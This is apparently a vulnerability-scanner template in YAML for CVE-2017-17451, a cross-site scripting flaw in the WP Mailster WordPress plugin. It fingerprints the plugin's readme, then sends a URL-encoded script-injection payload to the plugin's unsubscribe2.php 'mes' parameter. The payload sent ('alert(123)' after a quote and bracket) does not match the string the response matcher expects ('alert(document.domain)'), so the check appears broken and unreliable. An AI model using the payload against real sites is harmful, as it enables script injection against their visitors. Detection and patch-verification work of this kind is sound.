id: CVE-2017-17451

info:
  name: WordPress Mailster <=1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.
  reference:
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
    epss-score: 0.05088
    epss-percentile: 0.9125
    cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpmailster
    product: "wp_mailster"
    framework: wordpress
  tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Mailster ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402204c32dd4c7f0b02e568acb6dc10c1e125d8dd4532f6cb7b6be74bb357fb5b7e8402207bc0f47a78411a2ced70f4e3ae8a66305d1a0aecb937dad45077cb6afd11ea08:922c64590222798bb761d5b6d8e72950